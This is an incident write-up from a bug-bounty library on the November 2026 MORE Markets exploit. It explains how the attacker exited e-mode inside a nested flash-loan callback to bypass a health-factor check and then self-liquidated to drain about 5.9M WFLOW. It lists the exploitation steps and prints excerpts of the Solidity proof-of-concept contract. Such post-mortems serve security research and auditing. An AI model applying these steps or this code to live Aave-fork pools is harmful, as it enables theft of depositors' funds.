# MORE Markets: e-mode exit in flash-loan callback drains WFLOW

MORE Markets Aave v3 fork: attacker exits e-mode inside nested flash-loan callback to bypass health-factor guard, self-liquidates at 81% threshold, drains ~5.9M WFLOW.

- Payout: Real-world hack
- Severity: critical
- Program: MOREDeFi
- Analysis by: DeFiHackLabs
- Disclosed: 2026-11-16
- Write-up quality: 9/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-11/MOREDeFi_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261116-moredefi
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:race-window vuln:business-logic vuln:flash-loan vuln:liquidation vuln:oracle-manipulation

**Target:** Aave v3 fork lending pool (setUserEMode, flashLoan, liquidationCall)
**Root cause:** setUserEMode validates health factor only after the change, but during a nested flash-loan callback the position has collateral supplied and no borrow debt registered yet, so the guard sees a debt-free account and passes; the subsequent WFLOW borrow is sized to the 97% e-mode LTV but valued at the 81% normal threshold.
**Steps:**
1. Deploy fresh position contract; call `POOL.setUserEMode(1)` (correlated e-mode, 97% LTV).
2. Outer `POOL.flashLoan` of ankrFLOW (mode 0); in callback `POOL.supply(ankrFLOW, amount, this, 0)` as collateral.
3. Inner `POOL.flashLoan` of WFLOW with `interestRateModes[0]=2` (variable debt); in inner callback call `POOL.setUserEMode(0)` while no borrow debt is registered, so health-factor guard passes.
4. Inner callback returns; WFLOW variable debt opens sized to 97% e-mode LTV but position now valued at 81% threshold → HF < 1.
5. `POOL.liquidationCall(ankrFLOW, WFLOW, this, type(uint256).max, false)` self-liquidates, seizing ankrFLOW collateral plus 6% bonus.
6. Outer callback returns; ankrFLOW flash loan repaid from seized collateral; WFLOW pulled via mode-2 loan left as unbacked variable debt, matching WFLOW drained from reserve.
7. Repeat cycle 14 times across 14 throwaway position contracts in one transaction.
**How found:** Recognized that Aave's setUserEMode health-factor check runs post-change, and that flash-loan callbacks open debt only after executeOperation returns — creating a debt-free window where the guard can be bypassed by exiting e-mode mid-callback.
**Exploitation:** Permissionless: fresh contract calls public Aave v3 entry points (setUserEMode, flashLoan, supply, liquidationCall) with no role. Nested flash loans create a window where collateral is supplied but debt is not yet registered; setUserEMode(0) passes the health-factor guard. After loans settle, position is underwater by construction (81% threshold vs ~97% debt) with no price move; self-liquidation seizes ankrFLOW collateral at 6% bonus and leaves WFLOW mode-2 borrow as unbacked debt. 14 rounds drain 5,924,534 WFLOW (~$308K).
**Escalation:** Looped 14 times in one transaction across 14 throwaway EIP-1167 clone position contracts, each sized to remaining reserve liquidity.
**Insight:** In Aave v3 forks, any state-changing guard that reads account health (setUserEMode, borrow caps, collateral toggles) can be bypassed inside a flash-loan callback because debt is registered only after executeOperation returns; look for guards evaluated in that collateral-supplied/debt-free window, especially where e-mode LTV and normal liquidation threshold diverge.

## Proof of concept (copied exactly from the original report)

**Position contract run() and executeOperation() drain cycle**

```
function run(uint256 ankrAmount, uint256 wflowAmount, bool dropEMode) external {
        require(msg.sender == _owner, "only owner");
        _wflowForRound = wflowAmount;
        _dropEMode = dropEMode;

        POOL.setUserEMode(EMODE_CORRELATED);

        address[] memory assets = new address[](1);
        uint256[] memory amounts = new uint256[](1);
        uint256[] memory modes = new uint256[](1);
        assets[0] = address(ANKRFLOW);
        amounts[0] = ankrAmount;
        modes[0] = 0; // plain flash loan: repaid in full from the seized collateral, leaves no ankrFLOW debt
        POOL.flashLoan(address(this), assets, amounts, modes, address(this), abi.encode(uint256(1)), 0);

        // Hand the proceeds of this round's position back to the orchestrator.
        WFLOW.transfer(_owner, WFLOW.balanceOf(address(this)));
        ANKRFLOW.transfer(_owner, ANKRFLOW.balanceOf(address(this)));
    }

    function executeOperation(
        address[] calldata, /*assets*/
        uint256[] calldata amounts,
        uint256[] calldata, /*premiums*/
        address, /*initiator*/
        bytes calldata params
    ) external returns (bool) {
        require(msg.sender == address(POOL), "only pool");
        uint256 stage = abi.decode(params, (uint256));

        if (stage == 1) {
            // Outer ankrFLOW flash loan. Supply the borrowed ankrFLOW as collateral, and leave an
            // allowance so the pool can pull the flash-loan repayment (amount + premium) at the end.
            ANKRFLOW.approve(address(POOL), type(uint256).max);
            POOL.supply(address(ANKRFLOW), amounts[0], address(this), 0);

            // Inner WFLOW flash loan (mode 2): pulls WFLOW from the reserve and opens variable debt.
            address[] memory a = new address[](1);
            uint256[] memory amt = new uint256[](1);
            uint256[] memory m = new uint256[](1);
            a[0] = address(WFLOW);
            amt[0] = _wflowForRound;
            m[0] = 2;
            POOL.flashLoan(address(this), a, amt, m, address(this), abi.encode(uint256(2)), 0);

            // Position now carries a WFLOW debt sized to the 97% e-mode LTV but is being valued at
            // the 81% normal threshold: health factor is below 1. Self-liquidate.
            WFLOW.approve(address(POOL), type(uint256).max);
            POOL.liquidationCall(address(ANKRFLOW), address(WFLOW), address(this), type(uint256).max, false);
```

**Inner callback drops e-mode to bypass health-factor guard**

```
if (_dropEMode) {
                POOL.setUserEMode(0);
            }
            return true;
```

